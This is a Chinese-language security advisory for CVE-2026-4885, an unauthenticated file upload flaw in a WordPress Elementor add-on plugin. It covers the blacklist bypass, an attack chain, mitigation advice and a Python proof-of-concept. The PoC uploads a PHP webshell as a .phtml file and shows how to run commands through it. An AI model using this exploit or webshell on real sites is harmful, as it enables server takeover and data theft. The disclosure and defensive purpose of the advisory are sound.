IPBUF安全漏洞报告
English
CVE-2026-4885 CVSS 9.8 严重

CVE-2026-4885: Piotnet插件任意文件上传漏洞

披露日期: 2026-05-19

漏洞信息

漏洞编号
CVE-2026-4885
漏洞类型
任意文件上传
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Piotnet Addons for Elementor Pro (WordPress Plugin)

相关标签

RCE文件上传WordPressCVE-2026-4885Piotnet

漏洞概述

WordPress插件Piotnet Addons for Elementor Pro在7.1.70及之前版本中存在严重的任意文件上传漏洞。该漏洞源于`pafe_ajax_form_builder`函数缺乏完整的文件类型验证,仅使用了不完善的扩展名黑名单。这使得未经身份验证的攻击者能够上传.phar或.phtml等危险文件,从而在服务器上执行任意代码。攻击者无需任何用户交互即可利用此漏洞,对网站安全构成极高威胁。

技术细节

该漏洞的核心在于Piotnet Addons for Elementor Pro插件处理文件上传时的逻辑缺陷。插件在`pafe_ajax_form_builder`函数中实施了不安全的黑名单验证机制,仅阻止了.php、.phpt、.php5、.php7和.exe等常见扩展名,却遗漏了.phar、.phtml等同样可被Web服务器解析执行PHP脚本的扩展名。攻击者无需登录账户,只需向目标站点发送特制的POST请求,即可绕过验证将包含WebShell的恶意文件上传至服务器。一旦上传成功,攻击者通过访问恶意文件的URL即可触发代码执行,从而获得服务器控制权,造成数据泄露或系统被完全接管。

攻击链分析

STEP 1
侦察
识别使用Piotnet Addons for Elementor Pro插件(版本<=7.1.70)的WordPress网站,并确认其表单中启用了文件上传功能。
STEP 2
准备
攻击者构造包含恶意PHP代码的文件,并将其后缀修改为.phtml或.phar,以绕过插件的不完整黑名单验证。
STEP 3
利用
攻击者向`/wp-admin/admin-ajax.php`发送POST请求,在action参数指定`pafe_ajax_form_builder`,并附带上传恶意文件。
STEP 4
执行
文件上传成功后,攻击者通过浏览器访问该文件的URL,触发服务器解析并执行恶意代码,从而获取服务器权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://example.com" upload_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Payload: A simple PHP webshell saved as .phtml to bypass blacklist # The blacklist blocks .php but often misses .phtml or .phar file_content = "<?php system($_GET['cmd']); ?>" files = { 'file': ('shell.phtml', file_content, 'application/octet-stream') } # Data required to trigger the vulnerable function data = { 'action': 'pafe_ajax_form_builder', 'form_data': '...' # Additional form data if required } try: response = requests.post(upload_endpoint, files=files, data=data) if response.status_code == 200: print("[+] File upload request sent successfully.") print("[+] Check the upload directory or response for the file path.") # Example execution: http://example.com/wp-content/uploads/2026/05/shell.phtml?cmd=whoami else: print("[-] Failed to send request.") except Exception as e: print(f"[!] Error: {e}")

影响范围

Piotnet Addons for Elementor Pro <= 7.1.70

防御指南

临时缓解措施
如果暂时无法升级插件,建议立即禁用受影响插件中的文件上传功能,或通过服务器配置严格限制上传目录的权限,确保Web服务器无法解析和执行上传目录中的任何脚本文件(包括.phtml和.phar)。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表